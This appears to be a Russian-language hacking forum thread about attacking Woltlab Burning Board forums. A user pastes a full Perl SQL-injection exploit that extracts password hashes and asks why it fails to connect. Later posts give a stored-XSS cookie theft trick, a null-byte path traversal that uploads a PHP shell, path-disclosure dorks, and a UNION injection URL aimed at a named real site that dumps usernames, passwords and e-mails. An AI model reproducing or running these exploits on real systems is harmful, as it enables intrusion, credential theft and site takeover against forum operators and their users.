"\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } for ( ; $i < 32 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } for ( ; $i < 48 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } for ( ; $i < 64 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } $code .= <<EOT; \$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff; \$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff; } # for return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); } EOT eval "$code"; } } # md5 package container # milw0rm.com [2007-01-17] и вот что пишет... что это значит? адреса всегда правильно ввожу! на первом скрине пишет что типа всё нормально, на втором тупо не может приконнектится. может быть я команды неправильные ввожу? Помогите?
вот второй использую - Code: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Response; $| = 1; print " ################################################### ## ## Woltlab Burning Board 2.3.6 <= / Lite Exploit ## ################################################### ## ## Coded by 666 <http://blueshisha.mutebox.net> ## Bug by trew ## ################################################### \n"; if($#ARGV < 0) { print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n"; exit; } print "<~> Exploiting...\n"; my $url = shift; my $id = shift; my $sstring = shift; my $ua = LWP::UserAgent->new; my $request = new HTTP::Request('POST', 'http://'.$url.'search.php'); $request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.''); $request->content_type('application/x-www-form-urlencoded'); my $response = $ua->request($request); my $body = $response->content; print "<~> Hash: "; $body=~/([a-f0-9]{32})/; print $1; print "\n"; # milw0rm.com [2007-01-17] вот чё пишет -
Версия: 3.1.0 PL1, возможно другие. Раскрытие путей: 1) http://site/path/index.php?form=NewPassword&action=new&u=1&k[]= 2) http://site/path/index.php?form=UserLogin&s[]= Эти параметры уязвимы и вызывают раскрытие и в других местах. Активная xss: Создаём тему\пост, в нём картинку: javascript:alert(document.cookie) Далее нужно любого юзера\модератора\администратора заставить отредактировать\цитировать ваш пост. Тут требуется немного СИ, но в целом - не сложно. Нажав копку "edit" он увидит алерт со своими печеньками. Проверенно работает в Opera и IE в FF не сработало. Фича: Возможность проспамить\зафлудить e-mail любого пользователя, нету ограничений на отправку. http://site/path/index.php?form=Mail&userID=1 Выполнение произвольного кода и недокументированная возможность редактирования стандартных тем: Требуются права админа. Итак, логинимся под админом, переходим Design -> Templates -> Add new template pack Там вбиваем: Template pack name - "/" Template pack folder name - "/" (без кавычек) Далее переходим в List Templates и выбираем наш "/". Нажимаем "Add new template". Вбиваем: Template source code - любой php код, напимер шелл. Template name например shell.php А теперь внимание - финт ушами. Нам понадобиться FireFox и его дополнение Tamper Data: Включаем перехват, нажимаем в форме "Submit" и в Tamper Data правим параметр "templateName" заменяя его значение на что-то вроде Code: [B]../shell.php[/B]%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA где ../shell.php путь к создаваемому файлу относительно папки templates. Вот и всё, шелл залит. Да, и файлы - перезаписываются. Пока тестил случайно удалил index.php. Так-то. К слову, если вместо shell.php писать просто index, то мы перезапишем стандартный шаблон, что является не документированным и по умолчанию запрещённым. ps. возможно, будет дополняться.
Burning Board Lite >= 2.0.1Тип: Раскрытие путей Возможно в более новых/старых версиях форума. Dork: http://site.com/forum/wcf/lib/system/setup/FTPInstaller.class.php Также часто открыт этот файл: http://site.com/forum/wcf/lib/system/setup/error_log Example: http://www.g-c-g.biz/gcg/wcf/lib/system/setup/error_log Также все классы в /system/ и другие файлы, по умолчанию, эти директории открыты для просмотра.. Exploit: (c) Osstudio
Woltlab Burning Board 2.2 / 2.3 kt_main.php?action=tabelle&liga_id=[Скуля] Пример:http://w.forum-thueringen.de/kt_main.php?action=tabelle&liga_id=%27+union+select+1,2,3,4,5,6,concat%28userid,0x3a,username,0x3a,password,0x3a,email%29,8+from+bb1_users+where+userid=7--+ dork:inurl:kt_main.php?action=